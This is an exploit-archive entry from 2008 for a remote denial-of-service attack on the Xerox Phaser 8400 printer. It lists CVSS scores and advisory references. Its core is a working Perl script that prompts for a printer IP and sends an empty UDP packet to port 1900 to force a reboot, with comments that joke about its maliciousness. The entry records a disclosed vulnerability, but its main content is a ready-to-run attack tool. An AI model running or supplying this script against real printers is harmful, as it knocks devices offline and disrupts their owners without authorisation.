Xerox Phaser 8400 (reboot) Remote Denial of Service Exploit

2008.08.13
Credit: crit3rion
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 7.8/10
Impact Subscore: 6.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Complete

#!/usr/bin/perl # carved-out by: crit3rion, just making th3 world a b3tt3r plac3! # Xerox_Remote_DoS.20080801.ver01 (tanx to dr0pz0N3 for reminding me to close my #$*&*! s0ck3t) # Make: Xerox # Model: Phaser 8400 # Firmware: 03/03/2004 # # What's the deal? # Apparently, if you send an empty packet to a Xerox Phaser 8400 printer # the printer will reboot. Tested successfully on four printers. # # Let's not leave our maliciousness open to exploitation and errors! use strict; use warnings; use IO::Socket::INET; # What's your printer's IP Address? print "Please enter the printers IP:\n"; my $ipaddr = <STDIN>; chomp $ipaddr; # Let's setup the connection... my $socket = IO::Socket::INET->new( PeerPort => 1900, PeerAddr => $ipaddr, Proto => "udp" ) or die "I tried. Maybe you entered the wrong IP?\n Maybe it's just my bad code...\n In any case, check: $@\n\n"; # Okay... Let's kill it. $socket->send(""); $socket->close(); print "Done. It should have died.\n\n"; exit(1);

References:

http://www.securityfocus.com/bid/30522
http://www.milw0rm.com/exploits/6196


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